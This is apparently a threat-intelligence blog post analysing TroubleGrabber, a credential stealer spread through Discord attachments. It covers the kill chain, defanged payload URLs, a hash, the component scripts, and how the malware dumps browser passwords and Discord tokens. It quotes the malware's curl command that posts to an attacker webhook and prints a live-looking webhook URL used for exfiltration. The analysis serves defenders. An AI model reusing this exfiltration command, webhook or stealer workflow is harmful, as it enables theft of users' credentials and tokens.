Here Comes TroubleGrabber: Stealing Credentials Through Discord

“TroubleGrabber” is a new credential stealer that is being spread through Discord attachments and uses Discord messages to communicate stolen credentials back to the attacker. While it bears some functional similarity to AnarchyGrabber, it is implemented differently and does not appear to be linked to the same group. TroubleGrabber is written by an individual named “Itroublve” and is currently used by multiple threat actors to target victims on Discord.

This malware, which primarily arrives via drive-by download, steals the web browser tokens, Discord webhook tokens, web browser passwords, and system information. This information is sent via webhook as a chat message to the attacker’s Discord server. Based on the file names and delivery mechanisms, TroubleGrabber is actively being used to target gamers.

We discovered TroubleGrabber in October 2020 when researching public Discord attachments for our previous blog post, Leaky Chats: Accidental Exposure and Malware in Discord Attachments.

This post will detail the technical analysis of TroubleGrabber and provide insights on the generator and its creator.

Discovery

In October 2020 alone, we identified more than 5,700 public Discord attachment URLs hosting malicious content, mostly in the form of Windows executable files and archives. At the same time, we scanned our malware database for samples containing Discord URLs used as next stage payloads or C2’s.

Figure 1 shows a breakdown of the top five detections of 1,650 malware samples from the same time period that were delivered from Discord and also contained Discord URLs.

These detections are related to two distinct groups of malware 

1. GameHack – Gen:Variant.Mikey.115607, Trojan.GenericKD.43979330 were patched or cracked versions of popular games. All the files associated with these detections were delivered via Discord.
2. TroubleGrabber – Gen:Variant.Razy.742965 and Gen:Variant.Razy.728469 were the first stage payload of Gen:Variant.Razy.729793, a new malware variant we had not seen before October 2020. The files associated with these detections used Discord for malware delivery, next stage payloads, and C2 communication.

Attack depiction

The visual depiction of the TroubleGrabber attack kill chain is shown in Figure 2.

The depiction in Figure 2 illustrates the following steps

• The delivery of TroubleGrabber to the victim’s machine via Discord attachment link.
• TruoubleGrabber using Discord and Github for downloading the next stage payloads to the victim’s machine. 
• The payloads steal victims credentials like system information, IP address, web browser passwords, and tokens. It then sends them as a chat message back to the attacker via a webhook URL.

TroubleGrabber analysis

The sample we are using for this analysis was hosted in the Discord URL –  https://cdn[.]discordapp[.]com/attachments/770854312020410388/770854941614014504/Discord_Nitro_Generator_and_Checker.rar (md5 – 172c6141eaa2a9b09827d149cb3b05ca). The downloaded archive “Discord_Nitro_Generator_and_Checker.rar” masqueraded as a Discord Nitro Generator application. The archive contained an executable file named “Discord Nitro Generator and Checker.exe”. An excerpt from the decompiled code is shown in Figure 3.

Figure 3 illustrates that the executable downloads the next stage payloads to “C:/temp” from the seven URLs hosted in Discord and Github as listed below

https://cdn[.]discordapp[.]com/attachments/773838254905622541/773838310610829312/Token_Stealer[.]bat
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/tokenstealer[.]vbs
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/tokenstealer2[.]vbs
https://github[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/WebBrowserPassView[.]exe?raw=true
https://raw[.]githubusercontent[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/master/AVOID%20ME/curl-ca-bundle[.]crt
https://github[.]com/Itroublve/Token-Browser-Password-Stealer-Creator/blob/master/AVOID%20ME/curl[.]exe?raw=true
https://cdn[.]discordapp[.]com/attachments/773838254905622541/773838305497186304/sendhookfile[.]exe

The functionality of curl.exe, Curl-ca-bundle.crt, WebBrowserPassView.exe, tokenstealer.vbs, Tokenstealer2.vbs,Tokenstealer.bat, and sendhookfile.exe is as follows:

Curl.exe

Curl.exe is a command-line tool that is used for uploading, downloading, and posting data over multiple supported protocols. The malware uses a curl command for posting status message of the victim’s details via webhook as follows:

C:/temp/curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**INJECTION STARTED!**\"}" Webhook  

Curl-ca-bundle.crt

Curl-ca-bundle.crt is the certificate used by curl to validate with the remote server. Curl performs SSL certificate verification by using the public certificate authorities present in the file curl-ca-bundle.crt for uploading, downloading, and posting data.

WebBrowserPassView.exe

WebBrowserPassView.exe is a password recovery utility from Nirsoft that reveals the passwords saved in web browsers. This utility has a history of being used by threat actors to steal the stored passwords and send them back to their C2. TroubleGrabber uses WebBrowserPassView.exe to do the same.

Tokenstealer.vbs

Tokenstealer.vbs is a Visual Basic script that extracts information from the infected host, including the product name, product ID, and product key, and saves it in the location “C:\temp\WindowsInfo.txt”.

Tokenstealer2.vbs

Tokenstealer2.vbs is a Visual Basic script that executes the file present in the location “C:\temp\finalres.bat”. Finalres.bat is the renamed file of tokenstealer.bat.

Tokenstealer.bat

Tokenstealer.bat is a batch file that performs the following actions

• Uses https://myexternalip.com/raw to query the external IP address of the victim and saves it to the location “C:\temp\ip_address.txt”
• Uses WebBrowserPassView.exe with the switch ‘stext’ to reveal the passwords saved in all of the victim’s web browsers and saves them to the location “C:/temp/Passwords.txt”
• Uses Windows system info with the switch ‘findstr’ and wmic commands to find the “Domain,” “OS Name,” “OS Version,” “System Manufacturer,” “System Model,” “System type,” “Total Physical Memory,” “Disk drive,” “Hard Drive Space,” “Serial number,” and “cpuname”’ and saves it to the location “C:\temp\System_INFO.txt”
• Performs curl posts of username, time and date, IP address, SystemInfo, and Discord, PTB, and Canary tokens via webhooks to the attacker’s Discord server
• Executes filed.exe and customeExe.exe using the switch –processStart from the location “C:\temp\”
• Kills Discord.exe, DiscordCanary.exe, and DiscordPTB.exe forcefully by using taskkill with the switch “/f /im” and restarts them
• Deletes the files ip_address.txt, WindowsInfo.txt, Passwords.txt, curl-ca-bundle.crt, curl.exe, and CustomEXE.exe using del command with the switch “/f /q”
• Shuts down and restarts the machine in 30 seconds using the shutdown command

Sendhookfile.exe

Sendhookfile.exe is an executable file that steals the tokens from web browsers and native Discord apps and posts them to the Discord webhook URL, “https://discord[.]com/api/webhooks/770853687592878092/Tt_nUInR-OAYwvSoRbXXJfArRFgMMFTweKLmgJDnS-YyAahH7gKiRCmwE_aG1gIbL0mX” as shown in Figure 4.

Execution issues

During our analysis, the executable crashed in our sandbox environment as shown in Figure 5.

This same crash message was seen for several other binaries that we executed in our analysis test environments. The executables crashed because the binaries were compiled without the support of TLS 1.2, which is not supported by default in the .NET 4.5 framework installed in our analysis machines. This is supported by default in .NET 4.6 and above.

On execution, the malware downloaded the binaries to the location “C:\temp” as shown in Figure 6.

The malware further sent all the victim’s credentials via webhooks as chat messages as shown in Figure 7.